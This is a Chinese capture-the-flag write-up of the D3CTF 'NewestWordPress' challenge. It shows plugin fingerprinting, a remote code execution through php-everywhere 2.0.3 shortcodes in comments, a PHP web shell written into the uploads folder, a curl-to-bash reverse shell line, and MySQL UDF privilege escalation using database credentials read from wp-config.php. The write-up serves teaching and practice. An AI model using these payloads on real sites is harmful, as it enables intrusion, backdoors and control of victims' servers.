这次D3CTF确实有一（亿）点点难度...
不过加油吧，多积累总会变好的~
NewestWordPress
这道题是针对wordpress的，也做个积累~
对于wordpress，首先想到的应该是wpscan，这个扫描工具专治wordpress网站~
安装教程：在 Ubuntu 20.04 上安装 WPScan WordPress 安全扫描工具-牛奇网 (niuqi360.com)
使用教程：WPscan扫描工具安装使用 - Lushun - 博客园 (cnblogs.com)
当然，现在使用官方的api-key才能扫描出漏洞信息，类似这样添加你的token：
wpscan --url <your-url> --api-token <your-token> --enumerate p
这是常见思路，但是这道题就是反套路，wpscan扫不出问题插件php-everywhere（然鹅我连常用思路都不知道
预期的思路是把插件目录当做指纹来进行扫描，所有插件的目录在这里：- Revision 2692845: / (wordpress.org)
如果没有这个插件，访问目录应该是重定向；如果有这个插件，访问目录应该是403禁止访问，没有应该是重定向。可以通过这个来判断
扫描出来是有php-everywhere这个插件的
其实还有一种思路，就是去搜最近关于wordpress的CVE，最近的插件一个一个试也能试出来。
还有个非预期，wordpress这个版本有个任意文件删除，可以把wp-config.php删除了重装，这样再登陆也可以看到一个过期的php-everywhere插件
这道题其实是一个CVE，php-everywhere 2.0.3任意命令执行Critical Vulnerabilities in PHP Everywhere Allow Remote Code Execution (wordfence.com)
不过搜了半天也没有详细利用方法，大概知道是[php-everywhere]<php-code>[/php-everywhere]的利用格式。
自己搭环境做调试（还是要在linux上面调，windows上面结果不大对），wordpress+userswp最新版，加上2.0.3的php-everywhere，下面展示一下我详细的调试过程。关于如何下载之前版本的插件，见这篇文章：（2017年新版）WordPress官网下载插件的旧版本 - 露兜即刻 (ludou.org)
题目中没有用户信息页面，但是有一个文章，可以评论。那直接试试在评论区提交
先以管理员身份提交sss[php-everywhere]<?php phpinfo();?>[/php-everywhere]，直接执行
再试着执行system('ls')，也成功。
不过我们是普通用户，本着完全模拟，我们切换成普通用户再试一次，直接sss[php-everywhere]<?php phpinfo();?>[/php-everywhere]不行，没执行
试着删除?>，报错
说是shortcode.php里面的问题，那我们看看shortcode.php的14行
<?php
//[php_everywhere]
function php_everywhere_func( $atts,$content = null ){
$param = shortcode_atts( array(
'instance' => "",
), $atts );
$instance = "";
$instance = $param['instance'];
$content = htmlspecialchars_decode($content);
$content = str_replace("‘","'",$content);
$content = str_replace("’","'",$content);
echo($content);
ob_start();
eval(' ?>'.$content.'<?php '); //问题点
eval(' ?>'.get_post_meta( get_the_ID(),'php_everywhere_code',true).'<?php ');
$var = ob_get_contents();
ob_end_clean();
return $var;
}
?>
我们可以看到，最后还接了一个<?php，那么拼接起来就是?><?php phpinfo();<?php，当然有语法错误了，所以我们加个注释符
sss[php-everywhere]<?php phpinfo();//[/php-everywhere]
成功执行（我们也由此可以知道不同权限的用户执行的代码是不一样的）
然后再执行system('ls')，又报错
出现&了，显然引号被转义了，那就不用引号，换成system($_GET[1])，显然成功了
那么现在我们就找到了利用的方法，也就是可以RCE，第一步完成
接下来写个马蚁剑连或者弹shell都行
写马要注意找一个有写权限的目录写，显然/uploads这种目录正是我们想要的（感觉写个马蚁剑连更爽）
srgftxhycfgj[php_everywhere]<?php file_put_contents("/var/www/html/wp-content/uploads/1.php","<?php @eval(\$_POST[1]);");//[/php_everywhere] （@免报错）
注意这里服务器是国外的，蚁剑连的时候要配个代理
写完马之后可以利用蚁剑自带的脚本执行插件，执行命令更爽
弹shell：
curl http://<ip>:<port>/xxx|bash
ok，接下来开始翻flag，没翻到，看看配置文件wp-config.php（翻配置文件是个好习惯），看到了数据库配置
是用高权限用户连接的数据库，账号密码都有，直接udf提权
相关讲解：MySQL 漏洞利用与提权 | 国光 (sqlsec.com)（注意默认插件目录应该是在/usr/lib/mysql/plugin里面）
payload：MySQL UDF 提权十六进制查询 | 国光 (sqlsec.com)
.dll是windows下的payload，.so是linux下的payload，还要注意数据库位数，32位和64位，搞错了是没用的（我就是因为搞错了卡了好久）另外，这道题的数据库在另一个容器里面，所以写入的东西在你反弹的shell上是看不出来的
创建sys_eval函数：
$conn=new mysqli("localhost:3306","root","9Z98g4nmbJxrF5aYHvGaatyi354WxYyp","wordpress");
print_r($conn->query("SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'"));
$conn->query("CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'");
root执行命令，这是在mysql服务器上了，果然结果不一样
查看神必目录，拿到flag
这道题难度确实...不过还是要多积累才行
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